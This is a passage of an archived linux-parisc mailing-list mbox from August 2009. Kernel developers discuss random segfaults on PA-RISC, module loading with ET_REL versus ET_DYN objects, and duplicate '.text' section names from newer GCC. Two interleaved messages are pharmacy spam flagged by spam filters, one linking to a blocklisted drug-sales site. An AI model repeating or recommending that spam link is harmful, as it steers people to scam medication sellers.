	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755939AbZHWVVP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Aug 2009 17:21:15 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E00014E7A; Sun, 23 Aug 2009 17:21:15 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Aug 23, 2009 04:52:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2067 gmane.linux.debian.ports.hppa:5971
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2067>

> I booted 2.6.30.5 from gsyprf11 because I had one random segv and
> one command hang while running the GCC testsuite.  I suspect that some
> hangs are due to dropped signals.  I'm tempted to try the sequence
> with 2.6.22.19.

SMP 2.6.22.19 also fails with random segvs and hangs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Mon, 24 Aug 2009 10:01:17 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090824140118.349324E09@hiauly1.hia.nrc.ca>
References: <119aab440908240347g6ac30876x7ef9106717c3360b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251122494 5856 80.91.229.12 (24 Aug 2009 14:01:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Aug 2009 14:01:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 24 16:01:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mfa6r-0007F3-1L
	for glpp-linux-parisc@lo.gmane.org; Mon, 24 Aug 2009 16:01:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752447AbZHXOBR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Aug 2009 10:01:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752451AbZHXOBR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Aug 2009 10:01:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3858 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752447AbZHXOBR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Aug 2009 10:01:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 349324E09; Mon, 24 Aug 2009 10:01:17 -0400 (EDT)
In-Reply-To: <119aab440908240347g6ac30876x7ef9106717c3360b@mail.gmail.com> from "Carlos O'Donell" at Aug 24, 2009 06:47:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2068 gmane.linux.debian.ports.hppa:5972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2068>

> Any idea what might be the cause?

No.  I looked at two core dumps briefly.  In the first, it looked
like the PIC register value was corrupt causing a transfer to page
0.  In the second, there wasn't any backtrace info (both pc and rp
were 0).   Unfortunately, this doesn't say much.

It would be fantastic if you could narrow this down.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Clem Mccarthy" <bvallery@prucoastal.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Our clients are never ill!
Date: Mon, 24 Aug 2009 15:58:31 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20090824155831.5070102@prucoastal.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251145442 21198 80.91.229.12 (24 Aug 2009 20:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Aug 2009 20:24:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 24 22:23:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mfg55-0004kl-2U
	for glpp-linux-parisc@lo.gmane.org; Mon, 24 Aug 2009 22:23:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751078AbZHXUXv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Aug 2009 16:23:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752359AbZHXUXv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Aug 2009 16:23:51 -0400
Original-Received: from pool-72-73-200-184.cmdnnj.fios.verizon.net ([72.73.200.184]:50876
	"HELO pool-72-73-200-184.cmdnnj.fios.verizon.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751078AbZHXUXv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Aug 2009 16:23:51 -0400
Original-Received: from ibfwwe ([49.198.68.72]) by pool-72-73-200-184.cmdnnj.fios.verizon.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 24 Aug 2009 15:58:31 -0500
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.0 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: piecewinter.com]
Xref: news.gmane.org gmane.linux.ports.parisc:2069 gmane.spam.detected:4435715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2069>

Looking for the best pricein medz? http://tiqd.piecewinter.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 25 Aug 2009 17:07:01 +0930
Lines: 20
Approved: news@gmane.org
Message-ID: <200908251707.01610.rusty@rustcorp.com.au>
References: <4A89CC4D.5040801@gmx.de> <20090818050637.4C3E74730F@magilla.sf.frob.com> <1250640565.15079.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251185885 16795 80.91.229.12 (25 Aug 2009 07:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Aug 2009 07:38:05 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 25 09:37:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MfqbM-0005Mx-Fu
	for glpp-linux-parisc@lo.gmane.org; Tue, 25 Aug 2009 09:37:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754566AbZHYHhJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Aug 2009 03:37:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754452AbZHYHhJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Aug 2009 03:37:09 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:52267 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754330AbZHYHhH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Aug 2009 03:37:07 -0400
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id CF911DDD0B;
	Tue, 25 Aug 2009 17:37:07 +1000 (EST)
User-Agent: KMail/1.11.2 (Linux/2.6.28-15-generic; KDE/4.2.2; i686; ; )
In-Reply-To: <1250640565.15079.3.camel@mulgrave.site>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2070 gmane.linux.kernel:881584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2070>

On Wed, 19 Aug 2009 09:39:24 am James Bottomley wrote:
> Even with the duplicate name, though, the module should be perfectly
> loadable.

In a perfect world, yes, but there are places which assume they'll be
unique and I always thought that reasonable.

Front of my mind is /sys/module/<MODNAME/sections/ which has one file
per section.

Let's figure out how it happened tho; I'd rather fail cleanly than break
subtly and horribly later...

Thanks,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 25 Aug 2009 17:29:32 +0930
Lines: 56
Approved: news@gmane.org
Message-ID: <200908251729.32855.rusty@rustcorp.com.au>
References: <4A89CC4D.5040801@gmx.de> <20090819013124.7539E4730F@magilla.sf.frob.com> <1250645916.18426.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251187189 20207 80.91.229.12 (25 Aug 2009 07:59:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Aug 2009 07:59:49 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 25 09:59:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MfqwP-0002FB-8T
	for glpp-linux-parisc@lo.gmane.org; Tue, 25 Aug 2009 09:59:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750887AbZHYH7h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Aug 2009 03:59:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754080AbZHYH7h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Aug 2009 03:59:37 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:34941 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750887AbZHYH7g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Aug 2009 03:59:36 -0400
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 8819BDDD04;
	Tue, 25 Aug 2009 17:59:36 +1000 (EST)
User-Agent: KMail/1.11.2 (Linux/2.6.28-15-generic; KDE/4.2.2; i686; ; )
In-Reply-To: <1250645916.18426.12.camel@mulgrave.site>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2071 gmane.linux.kernel:881594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2071>

On Wed, 19 Aug 2009 11:08:36 am James Bottomley wrote:
> On Tue, 2009-08-18 at 18:31 -0700, Roland McGrath wrote:
> > > Actually, I think we do; the module loader is a runtime linker, after
> > > all.  [...]
> > 
> > Indeed you do.  I've just read some of the parts of ld that normally
> > address this issue for HPPA.  They don't run for ld -r.  So this is just
> > another fine example of the lunacy of the ET_REL .ko madness that would be
> > naturally avoided by a sensible tweaked ET_DYN scheme.
> 
> Using ET_DYN would have made our life easier when trying to code the
> kernel module loader as well.  The basic problem is, of course, that
> this is simple on an x86, so it didn't matter that much for the initial
> implementation.  It just becomes less simple on anything else.

Actually, x86 was one of the archs which fucked us.  Richard Henderson and
I *had* this, but ld -shared without -fPIC helpfully tells you "you're doing
it wrong" on x86-64.

There were other issues, ISTR MIPS was a showstopper.  Google finds the
following summary I wrote when this stuff was fresher:

http://lkml.org/lkml/2003/1/12/271 :

	While ET_DYN modules are a reasonably serious win for ia64 (and
	probably hppa) (ie. -300 lines or so), they're a minor win for alpha
	and ppc64 (-100 lines or so), and no real change for arm, i386, ppc,
	sparc, and sparc64.  It's a lose for x86_64 (toolchain fixes, unless
	they want to use -fPIC for modules), mips and mips64 (major toolchain
	fixes, unless they want to use -fPIC for modules and stop using r28
	for current inside modules).

> >   But that battle was
> > lost way, way back in the long, long ago, so long ago they were probably
> > even still making HPPA machines then.

This isn't quite true; userspace should handle ET_DYN fine (at least, it
was supposed to).

So you could change any arch to use that, but it's a fair refactor if we leave
some archs behind.

If anyone's really interested, I can dig out the bits I have...

> So that leaves us stuck with the current implementation and still
> needing a solution for the duplicate section names?

If this is not a "don't do that" bug, we could try hacking around it in
parisc's module_arch_frob_sections?

Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 25 Aug 2009 12:24:32 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090825192432.4D9CC411E3@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<20090819013124.7539E4730F@magilla.sf.frob.com>
	<1250645916.18426.12.camel@mulgrave.site>
	<200908251729.32855.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251228300 26573 80.91.229.12 (25 Aug 2009 19:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Aug 2009 19:25:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 25 21:24:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mg1dM-00011D-Ey
	for glpp-linux-parisc@lo.gmane.org; Tue, 25 Aug 2009 21:24:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756064AbZHYTYk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Aug 2009 15:24:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756059AbZHYTYk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Aug 2009 15:24:40 -0400
Original-Received: from mx1-old.redhat.com ([66.187.233.31]:33561 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1755995AbZHYTYj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Aug 2009 15:24:39 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7PJOai1001474;
	Tue, 25 Aug 2009 15:24:36 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7PJOXJo025289;
	Tue, 25 Aug 2009 15:24:34 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 8CEE1357B; Tue, 25 Aug 2009 12:24:32 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 4D9CC411E3; Tue, 25 Aug 2009 12:24:32 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: Rusty Russell's message of  Tuesday, 25 August 2009 17:29:32 +0930 <200908251729.32855.rusty@rustcorp.com.au>
X-Shopping-List: (1) Psychic inflammations
   (2) Fermented wine
   (3) Indulgent frivolity cows
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2072 gmane.linux.kernel:881871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2072>

> Actually, x86 was one of the archs which fucked us.  Richard Henderson and
> I *had* this, but ld -shared without -fPIC helpfully tells you "you're doing
> it wrong" on x86-64.

This complaint could easily be (have been) made optional.

> There were other issues, ISTR MIPS was a showstopper.

Richard told me it's all MIPS' fault, but I was being discreet.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 25 Aug 2009 17:49:40 -0400
Organization: wh0rd.org
Lines: 55
Approved: news@gmane.org
Message-ID: <200908251749.42647.vapier@gentoo.org>
References: <4A89CC4D.5040801@gmx.de> <20090820115122.123520@gmx.net> <20090820122537.29410@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1908013.TYp3mq9syD";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251236997 21238 80.91.229.12 (25 Aug 2009 21:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Aug 2009 21:49:57 +0000 (UTC)
Cc: roland@redhat.com, James.Bottomley@hansenpartnership.com,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 25 23:49:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mg3ti-0003cY-Db
	for glpp-linux-parisc@lo.gmane.org; Tue, 25 Aug 2009 23:49:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751697AbZHYVtm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Aug 2009 17:49:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753181AbZHYVtm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Aug 2009 17:49:42 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:37094 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751697AbZHYVtl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Aug 2009 17:49:41 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id CBBE36786B;
	Tue, 25 Aug 2009 21:49:43 +0000 (UTC)
User-Agent: KMail/1.12.0 (Linux/2.6.30.4; KDE/4.3.0; x86_64; ; )
In-Reply-To: <20090820122537.29410@gmx.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2073 gmane.linux.kernel:881936
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2073>

--nextPart1908013.TYp3mq9syD
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 20 August 2009 08:25:37 Helge Deller wrote:
> The reason seems to be, that something in the newer gcc compilers changed
> to generate multiple sections all named ".text" for the PCREL17
> relocations. Older compilers named those sections ".text.1", ".text.2",
> ".text.3" and so forth.

we saw this on Blackfin some time ago and it was tracked back to attribute =
mismatches in
assembly files:
http://blackfin.uclinux.org/gf/tracker/3638
http://blackfin.uclinux.org/gf/project/linux-kernel/scmsvn/?action=3Dbrowse=
&path=3D/trunk/arch/blackfin/mach-
common/entry.S&r1=3D3898&r2=3D3897&pathrev=3D3898

when `ld -r` ran, the sections named .text couldnt be combined due to diffe=
rent attributes so ld just added the .#=20
suffix for us

if you have scanelf installed (from pax-utils), that might help track back =
the source object ... `scanelf -qrk .text.1 ./`
=2Dmike

--nextPart1908013.TYp3mq9syD
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJKlFx2AAoJEEFjO5/oN/WBMjkP/RTTDa+8jdxV2KveG3fCmwBa
DGFpg8aN4ADgeATlkiNFZgh/c9WMs4aQAvt4o0kQ4vIcMMeBjwxn/CVFteRDpCBk
4ToIzwohjcDJAurTSD/WXwNA2C0ekYAh2eIq5+N+lihZMAG6wic8OlkNdcBDYqO4
vtD4UEV0TyyTxQJqn5BdJ/+T2Xt85NoJd4yzp6pD9lI3QQLsDCpn20wWsc1icBoe
BxX4l98Xo/EN6ac5Tz8dMbt52OTpXwm2SqLHQnbkCTFv65rXwoh0h58TF8Oe5jz+
J3ga/skXfYV4Pf+GK4PwuLjwM27JItmYeEzlDE4sMmxaHPpcUwAhoytoAn5LG+HD
1lLVGnhMHdJE+s7JV4/fFGRvNjaD3v6Z5uUPsN0w1qaSU63eNKa1T4gCYAAhP5j2
QXHstMHfUeHzeJ2bRPvvrND34rgOnlsV97899SZq0UdsbGkZB0RBtwpTBeCJ4g2K
nifuK0MTNCwyufmpajfgmB3k9O3yqKNtLNuUvdLoYV7zhjLE9geAnP+Wvl7fMpMe
MtqIyhYYMbemHfJwWncbZAsiyNbK9swlVm7s9Z1fp4dySMrJYkzc9HugYv1JVXB1
A4/lK3pmj7OjvxJCzz0LMBQJte5I8NgP6pmnsEpxNntxEmBvi6wrO+GJ4gIEHmw+
xNN6RfQ4Bdu4H/AfU1Mo
=afY3
-----END PGP SIGNATURE-----

--nextPart1908013.TYp3mq9syD--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Colette Allison" <qianyufang2001@qiwi.net>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Dont get stuck due to bad health.
Date: Wed, 26 Aug 2009 09:31:56 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20090826093156.1070301@qiwi.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251273010 2998 80.91.229.12 (26 Aug 2009 07:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 07:50:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 09:50:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgDGd-00077Z-BK
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 09:50:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750706AbZHZHt7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 03:49:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750744AbZHZHt7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 03:49:59 -0400
Original-Received: from clu74-1-89-86-231-67.dsl.club-internet.fr ([89.86.231.67]:60558
	"HELO clu74-1-89-86-231-67.dsl.club-internet.fr" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1750706AbZHZHt7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 03:49:59 -0400
Original-Received: from ybgbhn ([240.31.29.111])
	by clu74-1-89-86-231-67.dsl.club-internet.fr (8.13.4/8.13.4) with SMTP id 200908260935017296;
	Wed, 26 Aug 2009 09:35:18 +0100
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.9 points;
